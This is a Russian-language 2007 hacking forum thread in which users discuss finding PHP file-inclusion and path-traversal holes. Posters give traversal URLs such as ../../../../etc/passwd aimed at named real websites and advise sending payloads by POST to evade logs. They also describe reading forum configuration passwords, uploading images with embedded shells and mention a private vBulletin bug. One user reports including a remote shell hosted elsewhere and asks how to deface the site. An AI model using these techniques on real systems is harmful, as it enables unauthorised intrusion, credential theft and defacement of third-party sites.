Сканер Php Inc , Inj

Discussion in 'Уязвимости' started by Xszz, 24 Apr 2007.

  1. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Есть ли такое чудо , если да - посоветуйте .
     
  2. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    смотри, инъекции передаются в параметре, так? (я про большинство случаев). т.е. мы должны найти параметры, передаваемые скрипту, подставлять в них гадости.
    Для сканера самое сложное найти параметры (ИМХО) Хотя трин в своем сканере это с легостью сделал) да и гуглом тоже никто не запрещает воспользоваться)
    т.е. получили лист с переменными и ссылками на скрипты. спрашивается, зачем сканер? быстрее руками проверить :)) только возникает одно но! ручками мы будем слать данные гетом, что палевно в логах... а вот другими прогами или сканером можно отправлять данные постом, что уже есть гуд. а написать такой сканер особого труда не составляет (писал когда-то :)) ).
    Возникает еще 1 трудность - как понять, что пага уязвима? ну.. сканить структуру, или искать текст, который должен вывести инклуд :) но глазами все же точнее.
    Ну и наконец, накой тебе просто так искать пшп инклуды? ради кайфа? тогда напиши свой сканер и не парься) хотя готовые экземпляры видел... названия не помню(забыл специально ;) ) :)
     
    2 people like this.
  3. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Хм , спасибо за ответ .
    Может ещё что - то посоветуете ?
     
  4. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Talisman
    Расскажи конкретнее , на что надо обращать внимание при поиске ПХП Инъекций ,
    как вообще происходит поиск , я думаю это будет интересно не только мне .
    На примере - как ищешь ты :)
    Спасибо.
     
  5. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
  6. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Спасибо, интерсная статейка .
    Странно как я её не заметил :) .
    Жду подобных статей .
    Спасибо :)
     
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    XSpider
    Acunectix
     
  8. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Последние две-три страницы темы в дальнейшем будут содержать вопросы вида "Где найти кряк для иксспайдера?"
     
    2 people like this.
  9. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Как искать их? ну.. чтобы искать, нужно хотябы иметь базу представлений, как они чаще всего выглядят, для этого читаем эту темку:
    http://forum.antichat.ru/thread38443.html
    и играемся с линками как я приведу пример ниже))
    Итак, разбирем такую вот инъекцию - она выводит список пользователей в никсе:
    http://quake.olympus.ru/q3/playerstat.php?config=../../../../../../../etc/passwd
    конечно, если бы серв был под виндой, ничего бы не вышло, но как правило сервера под никсом) поэтому имеет смысла подставлять в параметры строчки вида: ../../../../../../../etc/passwd, ../../../../../../../etc/master.passwd - если увидем, то это значит, что веб-сервер запущен из под рута.
    итак, что же означают эти ../ - это спуск на директорию ниже. ниже корня не спустимся, поэтому их количество не повредит :)
    итак. инъекция есть. но это инъекция пшп, или просто файла? как проверить? давайте попробуем проинклудить сам файл) посмотрим, что выйдет :))
    т.к. уровень открытия папки мы не знаем... поэтому перебираем кол-во ../ имеем: http://www.rupivo.ru/papers.php?file=../....//../papers.php
    какой то бред на странице, так? это плохой знак :( смотрим в сурс паги, находим: <?
    if (isset ($file))
    {
    $content = file_get_contents('papers/'.$file);
    echo($content);
    }
    else
    {
    $directory = 'papers';
    $dir = opendir($directory);
    while ($file = readdir($dir))
    {
    if (strpos($file, '.html'))
    echo('<li><a href="papers.php?file='.rawurlencode($file).'" class="link1">'.str_replace('.html', '', $file).'</a><br>');
    }
    closedir($dir);
    }
    ?>
    вот он наш скрипт, нам вывелся его исходный код, а не результат работы, что с одной стороны плюс, а с другой минус. плюс заключается в том, что есть возможность просмотреть почти любые файлы веб-сервера (а при корявой настрояке - любые, а может даже и системные). Как правило читаем настройки форума) там пассы ну и т.д. и т.п.
    а минус в том, что если не получится залить картинку со встроенным в хекс-редакторе шеллом, или вбить урл на вшенший шелл не получится, то мы попали - от инъекции почти никакого толка) а жаль.
    ЗЫ щас в VBulletin приватная бага,связанная с загрузкой аватарок и исполнением их кода ))) эта бага - та же инъекция.
    ЗЫ можт чето упустил) щас повспоминаю))))
     
  10. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    ?config=
    ?file=
    Т.Е. любые строки такого вида в адрессной строке и есть подключений другого файла ? Инклюды ?
    Я имею ввиду должно быть обязательно ?file= или ?config= ?
    или может быть даже ?sdflgkj=
     
  11. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    да, могут быть даже netuincluda)))
     
  12. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Спасибо за помосЧ :)
    +
     
  13. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    http://www.odessaonline.com.ua/go.php?dir=../etc/passwd
    Вот вроде бы инклюд , но сервер на ВИндовсе ... что можно зделать ?
     
    1 person likes this.
  14. spyke

    spyke Elder - Старейшина

    Joined:
    4 Aug 2005
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    а помоему не виндовс
     
  15. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    судя по ошибке:
    Warning: file(c/../etc/passwd/2ndmenu) [function.file]: failed to open stream: No such file or directory in /home/odessaon/public_html/_parse/req/nav.class on line 235 - сервер явно не виндовс :) т.к. дира вида: /home/odessao....
     
  16. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    это может быть смонтирован виртуальный диск , по типу того , что монтируют готовые связки Типа Денвер
     
  17. lol2006

    lol2006 Elder - Старейшина

    Joined:
    25 May 2006
    Messages:
    75
    Likes Received:
    16
    Reputations:
    0

    Да но это cмущает etc/passwd/
     
  18. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Так дело в том , что не открывается этот файл ..
    Пройди по ссылке попробуй
     
  19. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    и не должен.
    обрати внимание на выделенные жирным фрагменты:

    Warning: file(c/../etc/passwd/2ndmenu)
     
  20. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    да , да .
    Я видел . Шелу на удалённом сервере можно поменять имя на 2ndmenu.

    Вот меня ещё интересует вопрос :
    Я нашел удалённый инклуд , подключил шелл http://newxs.narod.ru/shell.txt
    Но , ничего не могу с помощью него сделать.
    Фалы не изменяются , не закачиваются , папки не создаются.
    Как можно зделать дэфэйс ?
    Спасибо.